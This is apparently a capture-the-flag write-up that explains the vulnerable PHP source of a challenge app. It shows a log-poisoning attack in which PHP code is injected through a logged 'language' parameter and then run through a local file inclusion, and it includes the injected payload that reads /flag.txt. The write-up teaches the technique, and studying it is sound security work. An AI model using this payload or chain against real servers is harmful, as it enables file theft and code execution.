Post

WHO IS JH

WHO IS JH

Description

I WANT TO BELIEVE. He can’t be all three. Something doesn’t add up!

Author: @HuskyHacks

Solution

First Look

The challenge is a simple PHP application composed of four files: index.php, log.php, upload.php, and conspiracy.php.

index.php

This is the main page of the application. It includes the log.php file.

log.php

This file contains a function logEvent that logs a message to a centralized log file. It uses the file_put_contents function to write the message to the log file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$logFile = 'logs/site_log.txt';

/**
 * Logs a message to the centralized log file.
 *
 * @param string $message The message to log.
 */
function logEvent($message) {
    global $logFile;

    if (!is_dir(dirname($logFile))) {
        mkdir(dirname($logFile), 0755, true);
    }

    $timestamp = date('[Y-m-d H:i:s]');
    $formattedMessage = "$timestamp $message\n";

    file_put_contents($logFile, $formattedMessage, FILE_APPEND);
}
?>

upload.php

This file is responsible for handling file uploads. It checks if a file was uploaded, validates the file type, generates a unique name for the file, and moves the file to the uploads/ directory. It also logs events using the logEvent function. It only allows files with extensions jpg, png, and gif.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
require_once 'log.php';

$uploadDir = 'uploads/';
$allowedExtensions = ['jpg', 'png', 'gif'];

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) {
    $originalName = basename($_FILES['image']['name']);
    $fileTmpPath = $_FILES['image']['tmp_name'];
    $fileExtension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));

    $uniqueName = uniqid() . "_$originalName";
    $uploadPath = $uploadDir . $uniqueName;

    if (in_array($fileExtension, $allowedExtensions)) {
        if (move_uploaded_file($fileTmpPath, $uploadPath)) {
            logEvent("Uploaded file: $uniqueName");
            $message = "Your file <strong>$originalName</strong> has been uploaded successfully! The truth is out there.";
        } else {
            logEvent("Error moving file: $originalName");
            $message = "Something went wrong during the upload. Is someone tampering with the evidence?";
        }
    } else {
        logEvent("Invalid file type attempted: $originalName");
        $message = "The file type you uploaded is not allowed. Are you trying to sabotage the investigation?";
    }
} else {
    $message = "No file uploaded. Do you have evidence, or are you just here to observe?";
}
?>
...

conspiracy.php

This file is the vulnerable part of the application. It includes a language file based on the language parameter passed in the URL query string. The language parameter is used to construct the file path, which can lead to a Local File Inclusion (LFI) vulnerability. The file path is validated to ensure it exists within a specific base directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
require_once 'log.php';

$baseDir = realpath('/var/www/html');

$language = $_GET['language'] ?? 'languages/english.php';

logEvent("Language parameter accessed: $language");

$filePath = realpath($language);

ob_start();

if ($filePath && strpos($filePath, $baseDir) === 0 && file_exists($filePath)) {
    include($filePath);
} else {
    echo "<p>File not found or access denied: " . htmlspecialchars($language) . "</p>";
    logEvent("Access denied or file not found for: $language");
}
$languageContent = ob_get_clean();
?>
...

Logs Logs Logs

Since the application logs the value of the language parameter, we can use this to poison the log file with some PHP code. Then, if we try to include the log file, the PHP code will be executed.

Poisoning the Log

We can poison the log file by passing a malicious language parameter that contains the following PHP code that reads the flag.

1
2
3
4
5
6
7
<?php 
$filename = "/flag.txt"; 
$handle = fopen($filename, "r"); 
$contents = fread($handle, filesize($filename)); 
fclose($handle); 
echo $contents 
?>

We can do this by sending the following request:

alt text

Including the Log and Getting the Flag

Now that we have poisoned the log file, we can include it by passing the following language parameter:

1
/var/www/html/logs/site_log.txt

alt text

The flag is: flag{6558608db040d1c64358ad536a8e06c6}

This post is licensed under CC BY 4.0 by the author.